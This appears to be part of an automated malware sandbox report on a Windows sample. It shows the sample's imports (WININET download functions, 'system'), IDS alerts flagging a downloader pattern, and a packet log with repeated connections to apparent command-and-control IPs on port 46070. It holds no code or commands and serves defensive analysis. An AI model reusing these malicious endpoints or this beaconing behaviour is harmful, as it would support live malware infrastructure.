MSVCP140.dll	?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z, ??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z, ?fail@ios_base@std@@QEBA_NXZ, ?good@ios_base@std@@QEBA_NXZ, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ??Bid@locale@std@@QEAA_KXZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, _Query_perf_frequency, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, _Query_perf_counter, ?_Xlength_error@std@@YAXPEBD@Z, ??1_Lockit@std@@QEAA@XZ, ??0_Lockit@std@@QEAA@H@Z, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?uncaught_exception@std@@YA_NXZ, ?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?_Fiopen@std@@YAPEAU_iobuf@@PEBDHH@Z
WININET.dll	InternetReadFile, HttpQueryInfoA, InternetOpenUrlA, InternetCloseHandle, InternetOpenA
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__std_terminate, memcpy, __current_exception, __current_exception_context, __C_specific_handler, __std_exception_copy, _CxxThrowException, __std_exception_destroy, memset, memmove
api-ms-win-crt-runtime-l1-1-0.dll	_register_thread_local_exe_atexit_callback, __p___argv, _initterm_e, _initterm, _initialize_onexit_table, _register_onexit_function, _c_exit, _invalid_parameter_noinfo_noreturn, _crt_atexit, system, _get_initial_narrow_environment, _initialize_narrow_environment, _configure_narrow_argv, __p___argc, _set_app_type, exit, _cexit, _seh_filter_exe, terminate, _exit
api-ms-win-crt-stdio-l1-1-0.dll	fwrite, ungetc, fsetpos, fgetpos, setvbuf, fgetc, __p__commode, fclose, fflush, _fseeki64, fputc, _set_fmode, fread, _get_stream_buffer_pointers
api-ms-win-crt-utility-l1-1-0.dll	rand, srand
api-ms-win-crt-filesystem-l1-1-0.dll	_unlock_file, _lock_file
api-ms-win-crt-string-l1-1-0.dll	_stricmp
api-ms-win-crt-time-l1-1-0.dll	_time64
api-ms-win-crt-heap-l1-1-0.dll	_callnewh, malloc, _set_new_mode, free
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T19:11:04.097315+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49730	143.178.83.216	443	TCP
2024-10-13T19:11:05.359844+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49731	143.178.83.216	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 19:11:03.044811010 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.044924974 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:03.045011997 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.054332018 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.054368019 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:03.717012882 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:03.717101097 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.778484106 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.778579950 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:03.779000044 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:03.779066086 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.781141043 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:03.827416897 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.097346067 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.097373962 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.097431898 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.097583055 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.097583055 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.097583055 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.097662926 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.097743034 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.098694086 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.098710060 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.098849058 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.098866940 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.098970890 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.193196058 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.193217039 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.193311930 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.193409920 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.193459034 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.193483114 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.194279909 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.194294930 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.194354057 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.194367886 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.194396973 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.194416046 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.195924044 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.195939064 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.196002960 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.196022987 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.196047068 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.196086884 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.281683922 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.281723022 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.281805038 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.281846046 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.281907082 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.289122105 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.289139986 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.289217949 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.289237022 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.289292097 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.290128946 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.290144920 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.290215969 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.290229082 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.290286064 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.291127920 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.291143894 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.291203022 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.291215897 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.291279078 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.292160988 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.292176962 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.292228937 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.292248011 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.292272091 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.292316914 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.293005943 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.293066978 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.293076992 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.293121099 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.293133020 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.293145895 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.293169975 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.293190002 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.293243885 CEST	49730	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.293273926 CEST	443	49730	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.307101011 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.307137012 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.307200909 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.307424068 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.307432890 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.970056057 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.970271111 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.970983982 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.970997095 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:04.971299887 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:04.971303940 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.359966993 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.360033035 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.360091925 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.360174894 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.360193968 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.360229015 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.360240936 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.362155914 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.362200975 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.362235069 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.362242937 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.362292051 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.455713987 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.455768108 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.455804110 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.455836058 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.455851078 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.455877066 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.456521988 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.456564903 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.456583977 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.456594944 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.456612110 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.456633091 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.458187103 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.458231926 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.458262920 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.458275080 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.458286047 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.458309889 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.459933996 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.459978104 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.460009098 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.460016966 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.460047960 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.460067034 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.552067041 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.552130938 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.552195072 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.552222013 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.552243948 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.552268028 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.552608013 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.552655935 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.552687883 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.552695036 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.552715063 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.552743912 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.553556919 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.553597927 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.553628922 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.553636074 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.553643942 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.553668022 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.646846056 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.646894932 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.646929026 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.646955967 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.647108078 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.647109032 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.647169113 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.647218943 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.647237062 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.647243023 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.647269964 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.647285938 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.647344112 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.647366047 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:05.647373915 CEST	443	49731	143.178.83.216	192.168.2.4
Oct 13, 2024 19:11:05.647391081 CEST	49731	443	192.168.2.4	143.178.83.216
Oct 13, 2024 19:11:09.992635965 CEST	49732	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:11:09.997478962 CEST	80	49732	208.95.112.1	192.168.2.4
Oct 13, 2024 19:11:09.997554064 CEST	49732	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:11:09.998233080 CEST	49732	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:11:10.003009081 CEST	80	49732	208.95.112.1	192.168.2.4
Oct 13, 2024 19:11:10.473622084 CEST	80	49732	208.95.112.1	192.168.2.4
Oct 13, 2024 19:11:10.517898083 CEST	49732	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:12:12.105871916 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.105921984 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.105978966 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.144824028 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.144849062 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.622232914 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.622322083 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.624932051 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.624946117 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.625195026 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.673892975 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.728527069 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.775397062 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.837539911 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.837635994 CEST	443	49831	104.20.4.235	192.168.2.4
Oct 13, 2024 19:12:12.837698936 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:12.867886066 CEST	49831	443	192.168.2.4	104.20.4.235
Oct 13, 2024 19:12:17.789813995 CEST	49869	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:17.795008898 CEST	46070	49869	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:17.795082092 CEST	49869	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:17.855989933 CEST	49869	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:17.860896111 CEST	46070	49869	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:19.478931904 CEST	46070	49869	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:19.479334116 CEST	49869	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:22.533339977 CEST	49869	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:22.534750938 CEST	49901	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:22.538168907 CEST	46070	49869	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:22.539671898 CEST	46070	49901	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:22.540064096 CEST	49901	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:22.554513931 CEST	49901	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:22.559305906 CEST	46070	49901	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:22.579504967 CEST	80	49732	208.95.112.1	192.168.2.4
Oct 13, 2024 19:12:22.580084085 CEST	49732	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:12:24.199322939 CEST	46070	49901	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:24.199410915 CEST	49901	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:26.205161095 CEST	49901	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:26.206315994 CEST	49927	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:26.209975004 CEST	46070	49901	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:26.211163044 CEST	46070	49927	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:26.211266994 CEST	49927	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:26.228091955 CEST	49927	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:26.232953072 CEST	46070	49927	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:27.864950895 CEST	46070	49927	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:27.868033886 CEST	49927	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:31.247591972 CEST	49927	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:31.249463081 CEST	49963	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:31.252428055 CEST	46070	49927	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:31.254260063 CEST	46070	49963	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:31.254352093 CEST	49963	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:31.292293072 CEST	49963	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:31.297286034 CEST	46070	49963	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:32.926278114 CEST	46070	49963	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:32.926538944 CEST	49963	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:35.080287933 CEST	49963	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:35.081887007 CEST	49985	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:35.085107088 CEST	46070	49963	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:35.086741924 CEST	46070	49985	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:35.086849928 CEST	49985	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:35.399764061 CEST	49985	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:35.404584885 CEST	46070	49985	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:36.744230032 CEST	46070	49985	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:36.744297981 CEST	49985	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:39.518775940 CEST	49985	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:39.520381927 CEST	50014	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:39.523674965 CEST	46070	49985	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:39.525298119 CEST	46070	50014	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:39.525362968 CEST	50014	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:39.538506031 CEST	50014	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:39.543457031 CEST	46070	50014	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:41.181648016 CEST	46070	50014	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:41.181828976 CEST	50014	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:43.720829964 CEST	50014	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:43.722600937 CEST	50018	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:43.725817919 CEST	46070	50014	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:43.727574110 CEST	46070	50018	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:43.727636099 CEST	50018	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:43.743324995 CEST	50018	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:43.748517036 CEST	46070	50018	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:45.403044939 CEST	46070	50018	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:45.403120041 CEST	50018	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:47.783235073 CEST	50018	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:47.784054041 CEST	50019	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:47.788327932 CEST	46070	50018	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:47.788957119 CEST	46070	50019	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:47.789031029 CEST	50019	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:47.803934097 CEST	50019	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:47.809026957 CEST	46070	50019	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:49.445360899 CEST	46070	50019	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:49.445441008 CEST	50019	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:50.471174955 CEST	49732	80	192.168.2.4	208.95.112.1
Oct 13, 2024 19:12:50.476072073 CEST	80	49732	208.95.112.1	192.168.2.4
Oct 13, 2024 19:12:51.376976967 CEST	50019	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:51.378943920 CEST	50020	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:51.382083893 CEST	46070	50019	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:51.383915901 CEST	46070	50020	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:51.384107113 CEST	50020	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:51.399626970 CEST	50020	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:51.405071020 CEST	46070	50020	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:53.039423943 CEST	46070	50020	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:53.039508104 CEST	50020	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:55.455054998 CEST	50020	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:55.457089901 CEST	50021	46070	192.168.2.4	193.161.193.99
Oct 13, 2024 19:12:55.459966898 CEST	46070	50020	193.161.193.99	192.168.2.4
Oct 13, 2024 19:12:55.462013960 CEST	46070	50021	193.161.193.99	192.168.2.4
